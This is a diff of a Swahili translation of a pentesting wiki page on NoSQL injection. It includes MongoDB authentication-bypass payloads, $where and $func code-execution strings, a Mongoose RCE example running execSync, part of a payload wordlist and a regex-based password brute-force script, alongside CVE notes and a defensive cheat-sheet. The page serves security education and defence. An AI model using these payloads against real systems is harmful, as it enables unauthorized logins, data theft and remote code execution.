Translated ['src/pentesting-web/nosql-injection.md'] to sw

src/pentesting-web/nosql-injection.md

@@ -4,9 +4,9 @@
 
 ## Exploit
 
-Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter\[arrName]=foo._
+Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter[arrName]=foo._
 
-Mifumo ya uhalifu inategemea kuongeza **Operator**:
+Ushambuliaji unategemea kuongeza **Operator**:
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
 username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
 { $where: "this.credits == this.debits" }#<IF>, can be used to execute code
 ```
-### Mipango ya kuzunguka uthibitisho wa msingi
+### Mipango ya kuzunguka uthibitishaji wa msingi
 
 **Kutumia si sawa ($ne) au kubwa ($gt)**
 ```bash
@@ -78,7 +78,7 @@ in JSON
 ```
 ### PHP Arbitrary Function Execution
 
-Kwa kutumia opereta **$func** ya maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
+Kwa kutumia opereta **$func** ya maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi isiyo na mipaka kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
 ```python
 "user":{"$func": "var_dump"}
 ```
@@ -114,9 +114,43 @@ Injiza `throw new Error(JSON.stringify(this))` katika kipengele cha `$where` ili
 ```json
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
+## CVE Mpya & Matukio ya Uhalifu wa Kweli (2023-2025)
+
+### Rocket.Chat isiyo na uthibitisho blind NoSQLi – CVE-2023-28359
+Toleo ≤ 6.0.0 lilifunua njia ya Meteor `listEmojiCustom` ambayo ilituma kitu cha **selector** kinachodhibitiwa na mtumiaji moja kwa moja kwa `find()`. Kwa kuingiza waendeshaji kama `{"$where":"sleep(2000)||true"}` mshambuliaji asiye na uthibitisho angeweza kujenga oracle ya wakati na kuhamasisha hati. Kosa hili lilirekebishwa katika 6.0.1 kwa kuthibitisha umbo la selector na kuondoa waendeshaji hatari.
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+Wakati `populate()` inapotumika na chaguo la `match`, Mongoose (≤ 8.8.2) ilikopi kitu hicho kama ilivyo *kabla* ya kutuma kwa MongoDB. Kutoa `$where` hivyo kulifanya JavaScript ifanye kazi **ndani ya Node.js** hata kama JS ya upande wa seva ilikuwa imezimwa kwenye MongoDB:
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+.populate({ path: 'author', match: req.query.author });   // RCE
+```
+Kipande cha kwanza (8.8.3) kilizuia `$where` ya kiwango cha juu, lakini kuikatia chini ya `$or` kulipita kichujio, na kusababisha CVE-2025-23061. Tatizo lilirekebishwa kabisa katika 8.9.5, na chaguo jipya la muunganisho `sanitizeFilter: true` lilianzishwa.
+
+### GraphQL → Mchanganyiko wa Mongo
+Wakandarasi wanaosambaza `args.filter` moja kwa moja katika `collection.find()` bado wana hatari:
+```graphql
+query users($f:UserFilter){
+users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod).
+
+## Defensive Cheat-Sheet (updated 2025)
+
+1. Ondoa au kata funguo yoyote inayohanza na `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
+2. Zima JavaScript ya upande wa seva kwenye MongoDB inayohudumiwa mwenyewe (`--noscripting`, default katika v7.0+).
+3. Prefer `$expr` na wajenzi wa aggregation badala ya `$where`.
+4. Thibitisha aina za data mapema (Joi/Ajv) na kata arrays ambapo scalars zinatarajiwa ili kuepuka hila za `[$ne]`.
+5. Kwa GraphQL, tafsiri hoja za filter kupitia orodha ya ruhusa; kamwe usieneze vitu visivyoaminika.
+
 ## MongoDB Payloads
 
-Orodha [kutoka hapa](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
 true, $where: '1 == 1'
 , $where: '1 == 1'
@@ -193,6 +227,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
 print("Extracting password of "+username)
 params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -225,9 +260,10 @@ for u in get_usernames(""):
 get_password(u)
 ```
 ## Tools
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## References
 
@@ -236,5 +272,7 @@ get_password(u)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}